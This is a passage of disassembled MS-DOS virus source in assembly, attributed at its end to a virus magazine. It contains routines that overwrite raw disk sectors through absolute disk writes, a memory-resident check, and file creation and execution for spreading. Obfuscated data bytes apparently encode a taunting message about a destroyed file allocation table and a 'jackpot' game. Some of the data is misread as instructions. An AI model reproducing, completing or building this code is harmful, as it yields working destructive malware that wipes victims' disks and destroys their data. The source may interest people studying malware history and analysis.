                mov     ds,bx
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     cx,50h
                mov     dx,0
                int     26h                     ; Absolute disk write, drive al
                popf                            ; Pop flags
                pop     ds
                retn
sub_8           endp
  
  
;
;                              SUBROUTINE
;
  
sub_9           proc    near
                push    ds
                mov     bx,ds
                add     bx,1000h
                mov     ds,bx
                mov     bx,0
                mov     ah,19h
                int     21h                     ; DOS Services  ah=function 19h
                                                ;  get default drive al  (0=a:)
                mov     cx,50h
                mov     dx,0
                int     26h                     ; Absolute disk write, drive al
                popf                            ; Pop flags
                pop     ds
                retn
sub_9           endp
  
loc_36:
                mov     bx,0
                mov     ax,4B59h
                int     21h                     ; DOS Services  ah=function 4Bh
                                                ;  run progm @ds:dx, parm @es:bx
                cmp     ax,666h
                jne     loc_37                  ; Jump if not equal
                jmp     loc_41                  ; (0AF0)
loc_37:
                push    ds
                pop     es
                push    ds
                push    cs
                pop     ds
                mov     si,0
                mov     di,917h
                mov     cx,100h
                cld                             ; Clear direction
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     ds
                mov     ah,2Fh                  ; '/'
                int     21h                     ; DOS Services  ah=function 2Fh
                                                ;  get DTA ptr into es:bx
                mov     ds:data_14e,bx          ; (6AE6:0041=0)
                mov     ds:data_15e,es          ; (6AE6:0043=6AE6h)
                mov     dx,4Eh
                mov     ah,1Ah
                int     21h                     ; DOS Services  ah=function 1Ah
                                                ;  set DTA to ds:dx
                mov     dx,11h
                mov     cx,3Fh
                mov     ah,4Eh                  ; 'N'
                int     21h                     ; DOS Services  ah=function 4Eh
                                                ;  find 1st filenam match @ds:dx
                jc      loc_38                  ; Jump if carry Set
                mov     dx,11h
                call    sub_1                   ; (06EE)
                cmp     dl,1
                jne     loc_38                  ; Jump if not equal
                call    sub_2                   ; (073C)
loc_38:
                call    sub_5                   ; (07FD)
                mov     dx,20h
                mov     cx,2
                mov     ah,3Ch                  ; '<'
                int     21h                     ; DOS Services  ah=function 3Ch
                                                ;  create/truncate file @ ds:dx
                jc      loc_40                  ; Jump if carry Set
                mov     bx,ax
                mov     dx,0
                mov     cx,91Ah
                mov     ah,40h                  ; '@'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
                push    ax
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                pop     ax
                cmp     ax,cx
                je      loc_39                  ; Jump if equal
                mov     dx,20h
                mov     ah,41h                  ; 'A'
                int     21h                     ; DOS Services  ah=function 41h
                                                ;  delete file, name @ ds:dx
                jmp     short loc_40            ; (0AD1)
                db      90h
loc_39:
                push    cs
                pop     es
                mov     bx,cs:data_8e           ; (6AE6:0002=0)
                sub     bx,92Ch
                mov     cx,cs
                sub     bx,cx
                mov     ah,4Ah                  ; 'J'
                int     21h                     ; DOS Services  ah=function 4Ah
                                                ;  change mem allocation, bx=siz
                mov     dx,20h
                push    ds
                pop     es
                mov     bx,2Dh
                mov     ax,4B00h
                int     21h                     ; DOS Services  ah=function 4Bh
                                                ;  run progm @ds:dx, parm @es:bx
loc_40:
                call    sub_6                   ; (0813)
                push    cs
                pop     es
                mov     di,0
                mov     si,917h
                mov     cx,0FFh
                cld                             ; Clear direction
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                mov     dx,ds:data_14e          ; (6AE6:0041=0)
                mov     bx,ds:data_15e          ; (6AE6:0043=6AE6h)
                mov     ds,bx
                mov     ah,1Ah
                int     21h                     ; DOS Services  ah=function 1Ah
                                                ;  set DTA to ds:dx
loc_41:
                push    cs
                pop     ds
                jmp     $-0F32h
                jmp     $+3DFh
                db      48h, 9Bh, 9Ch, 3Fh, 5, 0Ah
                db      5, 3, 1, 3, 0, 6Eh
                db      71h, 6Dh, 6Dh, 84h, 84h, 84h
                db      0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h
                db      0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh
                db      0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h
                db      84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h
                db      0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh
                db      84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h
                db      6Eh, 71h, 6Eh, 71h, 6Dh, 6Dh
                db      0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h
                db      84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h
                db      0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h
                db      0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh
                db      0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h
                db      0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h
                db      0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh
                db      84h, 85h, 85h, 6Eh, 71h, 84h
                db      84h, 84h, 84h, 84h, 84h, 0ACh
                db      0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h
                db      90h, 84h, 0ADh, 84h, 0CCh, 0C5h
                db      0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h
                db      0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h
                db      84h, 0B6h, 0A5h, 0B1h, 90h, 84h
                db      0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
                db      0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh
                db      0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h
                db      84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h
                db      0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h
                db      0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh
                db      6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h
                db      0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h
                db      0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h
                db      0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h
                db      0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h
                db      92h, 6Eh, 71h, 84h, 84h, 84h
                db      84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h
                db      0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh
                db      0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h
                db      0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h
                db      0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h
                db      0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h
                db      0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h
                db      84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h
                db      0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h
                db      0B8h, 84h, 91h, 84h, 0AAh, 0B3h
                db      0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h
                db      85h, 85h, 6Eh, 71h, 6Dh, 6Dh
                db      84h, 84h, 84h, 0BDh, 0D3h, 0D9h
                db      0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h
                db      84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h
                db      0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h
                db      0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h
                db      84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h
                db      0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h
                db      6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h
                db      84h, 84h, 84h, 84h, 84h, 0A7h
                db      0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h
                db      0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h
                db      0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h
                db      0AFh, 0B4h, 0B3h, 0B8h
                db      'nqnqmmm-1'
                db      1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh
                db      2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh
                db      6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh
                db      3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh
                db      ';nqmmm,1 m,1 m,1 nqmmm'
                db      84h, 84h, 84h, 84h, 0A7h, 0B6h
                db      0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h
                db      9Eh, 84h, 99h
                db      'nqqnqnmmm'
                db      0, 0, 0, 84h, 0A1h, 84h
                db      0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h
                db      0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh
                db      6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h
                db      0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h
                db      0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h
                db      0D3h, 92h, 6Eh, 71h, 6Eh, 71h
                db      6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh
                db      84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h
                db      0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh
                db      'qnqnqnqnqn'
                db      88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h
                db      0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h
                db      84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h
                db      0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh
                db      0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h
                db      84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h
                db      91h, 84h, 0C6h, 0D9h, 0D8h, 84h
                db      0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h
                db      0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h
                db      84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h
                db      84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h
                db      0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh
                db      84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh
                db      0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h
                db      0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h
                db      84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h
                db      0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h
                db      0B9h, 0B6h
loc_42:
                mov     dl,84h
                lodsw                           ; String [si] to ax
                mov     ax,0B384h
                mov     dl,84h
                mov     ax,0B0ADh
                mov     al,84h
                mov     ax,0B1B3h
                mov     bl,0B6h
                mov     dh,0B3h
                mov     bx,8584h
                test    ax,ds:data_33e[di]      ; (6AE6:716E=0)
                mov     [bp+71h],ch
                mov     dl,0D3h
                test    ch,[bp+si-3827h]
                iret                            ; Interrupt return
                db      0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh
                db      0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h
                db      0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
                db      0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh
                db      0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h
                db      0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h
                db      0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh
                db      0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h
                db      0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h
                db      0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh
                db      0D2h, 84h, 85h, 88h, 6Eh, 71h
                db      0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h
                db      85h, 85h, 84h, 0BDh, 0D3h, 0D9h
                db      84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h
                db      0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h
                db      0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h
                db      0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h
                db      0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h
                db      84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h
                db      0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h
                db      0D0h, 0D7h, 84h, 92h, 92h, 92h
                db      6Eh, 71h, 88h, 0CDh, 20h, 0
  
kollytag:
                db      'This virus was taken from the'
                db      'Kollywabbles Virus Magazine'

seg_a           ends
  
  
  
                end     start

